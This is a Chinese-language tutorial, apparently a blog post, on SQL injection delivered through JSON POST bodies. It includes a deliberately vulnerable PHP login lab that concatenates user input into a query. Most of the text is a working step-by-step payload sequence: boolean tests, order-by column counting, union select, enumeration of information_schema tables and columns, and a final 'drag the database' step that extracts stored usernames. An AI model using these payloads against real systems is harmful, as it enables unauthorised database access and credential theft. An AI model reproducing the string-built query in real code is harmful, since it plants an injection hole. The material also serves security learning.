#介绍
JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 "application/json"。
#Json语法规则
数据在名称/值对中
数据由逗号,分割
使用斜杆\来转义字符
大括号{}保存对象
中括号[]保存数组,数组可以包含多个对象
我不想写那么多没用的,来点实际的好了
#Json注入环境代码
因为我这里使用的是Security的数据库我就用这个security的数据库连接。
<?php
// php防止中文乱码
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//$password=$json->password;
// 建立mysql连接,root/root连接本地数据库
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
// 要操作的数据库名,我的数据库是security
$mysqli->select_db('security');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
// 数据库编码格式
$mysqli->set_charset('utf-8');
// 从users表中查询username,password字段
$sql="SELECT username,password FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
}
// 释放资源
$result->free();
$mysqli->close();
}
?>
#Json注入和其他注入的不同之处
1.数据包层面
POST提交数据包
Json提交的数据包
Json的数据包格式
如果你需要注入的话就更改后面:的位置进行注入
2.传参层面
get型
url:http:www.xxx.index.php?a=1&b=2&C=3
Json型
{
"a":"1"
"b":"2"
"c":"3"
}
#Json注入点测试以及闭合方式
(1)注入点测试
get型注入点测试
Url http:www.xxx.index.php?a=1&b=2&c=3
我们在判断注入点的时候应该是
Url http:www.xxx.index.php?a=1 and 1=2 &b=2&c=3
Url http:www.xxx.index.php?a=1&b=2 and 1=2&c=3
Url http:www.xxx.index.php?a=1&b=2&c=3 and 1=2
Json型注入点测试:
{
"a":"1 and 1=2"
"b":"2"
"c":"3"
}
以此类推
(2) 闭合方式
注意看一下这张图片
在外圈可以看出他是使用的是"" 双引号
但是在Dumb' 后面跟着是单引号
那么是为什么呢?
你可以把外圈的""双引号当做是他的一个固定的写法
源代码
$sql="SELECT username,password FROM users WHERE username='{$username}'";
{&username}的外侧使用了'单引号进行包裹,所以他的字符型的,我们就需要进行闭合并且他的闭合方式是'单引号闭合
所以他的注入语句应该是
Json={"username":"admin' and 1=1#"}
如果他的代码是
$sql="SELECT username,password FROM users WHERE username={$username}";
在{$username}这个变量的外圈没用使用字符串包裹,那么他的注入语句就应该是
json{"username":"1 and 1=1"}
就不需要闭合直接按常规的方式进行测试
#Json字符型及数字型注入演示
字符型
1.判断是否有注入点
json={"username":"admin'and 1=2"}
页面正常显示
json={"username":"admin' and 1=1#"}
使用and 1=1进行测试
页面正常
使用and 1=2进行测试
页面错误
确定存在注入点
2.确定字段
json={"username":"admin' order by 2#"}
当查询到3字段的时候页面报错
查询到2的时候页面正常回显
确定一共2个字段
3.确定显示字段
json={"username":"' union select 1,2#"}
确定显示字段1,2
4.获取数据库
json={"username":"' union select 1,database()#"}
确定当前数据库为security
5.获取数据表
json={"username":"' union select 1,group_concat(table_name)from information_schema.tables where table_Schema=database()#"}
6.获取字段信息
json={"username":"' union select 1,group_concat(column_name)from information_schema.columns where table_name='users' and table_Schema=database()#"}
7.拖库
json={"username":"' union select 1,group_concat(username)from security.users#"}
数字型
测试方式和字符型一样
只是不加闭合符
比如
json={"username"="1 and 1=1"}
json={"username"="-1 union select 1,2"}